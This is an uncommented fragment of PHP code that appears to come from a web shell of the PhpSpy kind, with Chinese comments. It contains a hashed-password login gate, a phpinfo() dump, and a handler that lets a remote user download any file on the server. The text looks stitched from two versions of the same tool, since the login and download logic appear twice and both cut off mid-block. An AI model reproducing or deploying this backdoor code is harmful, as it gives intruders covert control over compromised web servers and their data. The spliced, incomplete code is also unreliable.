} if ($admin['check']) { if ($doing == 'login') { if ($admin['pass'] == md5($password)) { scookie('loginpass', md5($password)); p('<meta http-equiv="refresh" content="1;URL=' . $self . '">'); p('<a style="font:12px Verdana" href="' . $self . '">Success</a>'); exit; } } if ($_COOKIE['loginpass']) { if ($_COOKIE['loginpass'] != $admin['pass']) { loginpage(); } } else { loginpage(); } } /*===================== 验证结束 =====================*/ $errmsg = ''; // 查看PHPINFO if ($action == 'phpinfo') { if (IS_PHPINFO) { phpinfo(); exit; } else { $errmsg = 'phpinfo() function has non-permissible'; } } // 下载文件 if ($doing == 'downfile' && $thefile) {
if ($_SESSION[$prefixme . 'loginpass']) { if ($_SESSION[$prefixme . 'loginpass'] != $pass) { unset($_SESSION[$prefixme . 'loginpass']); unset($_SESSION[$prefixme . 'charsetpage']); unset($_SESSION[$prefixme . 'showupdate']); unset($_SESSION[$prefixme . 'updateready']); session_destroy(); loginpage($adaptiveerrorpage); } } else { unset($_SESSION[$prefixme . 'loginpass']); unset($_SESSION[$prefixme . 'charsetpage']); unset($_SESSION[$prefixme . 'showupdate']); unset($_SESSION[$prefixme . 'updateready']); session_destroy(); loginpage($adaptiveerrorpage); } } $errmsg = ''; $uchar = '&#' . '9650;'; $dchar = '&#' . '9660;'; !$action && ($action = 'file'); if ($doing == 'downfile' && $thefile) { if (!@file_exists($thefile)) { $errmsg = 'The file you want to download was nonexistent'; } else { $fileinfo = pathinfo($thefile); header('Content-type: application/x-' . $fileinfo['extension']); header('Content-Disposition: attachment; filename=' . $fileinfo['basename']); header('Content-Length: ' . filesize($thefile)); @readfile($thefile);